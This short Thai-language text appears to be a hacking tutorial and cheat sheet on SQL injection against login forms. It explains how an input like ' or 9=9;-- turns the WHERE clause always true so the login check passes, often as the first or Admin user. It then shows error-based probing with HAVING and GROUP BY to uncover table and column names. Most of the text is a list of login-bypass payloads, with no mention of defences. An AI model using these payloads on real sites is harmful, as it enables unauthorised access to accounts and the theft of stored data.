SELECT * FROM tbl_Users WHERE |เงื่อนไขเป็นจริงเสมอ
Username='hacker' AND Password='' or 9=9;--'
การกระทำทางตรรกศาสตร์
X and Y or TRUE มีค่าความเป็นจริงเสมอ
' or 9=9
คำสั่ง SQL Login จะเป็น
SELECT * FROM tbl_Users WHERE TRUE |ถ้าเป็นอย่างงี้ก็จะเข้าสูตรตรรกเป็นจริง ทำให้การตรวจสอบสิทธิ์ผ่าน
สัญลักษณ์ ;-- หมายถึงสิ้นสุดคำสั่ง SQL แฮกเกอร์ทำการใส่เพื่อให้ Single Quote ตัวสุดท้ายเป็นโมฆะ
หลังจากผ่านการตรวจสอบสิทธ์สิ่งที่จะได้รับขึ้นอยู่กับโปรแกรมทางฝั่ง SERVER เช่น
- เป็นผู้ใช้ที่มีชื่อเดียวกันกับ Username ที่ระบุ
- ผู้ใช้ที่อยู่ เรคคอร์ดแรกของตาราง (ส่วนใหญ่จะเป็น Admin)
- เป็นผู้ใช้ที่มี ID น้อยที่สุดของตาราง (ส่วนใหญ่จะเป็น Admin)
- ได้สิทธิ์เท่ากับผู้ใช้อื่นๆ
- ไม่ได้รับสิทธิ์อะไรเลย ขึ้นอยู่กับโปรแกรมบนฝั่ง SERVER |แล้วจะ Login มาเพื่ออะไรกันเนี้ย
งัดแงะเพื่อหาข้อมูลเพิ่มเติม
' HAVING 9=9;--
เริ่มจากการงัดดูข้อมูลฟิลและชื่อตาราง โดยส่งคำสั่งที่ทำให้ SQL เกิดอาการ Eror
'employee.id'
'GROUP BY emp_id;--
'employee.username'
'GROUP BY username;--
'employee.feild'
' or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a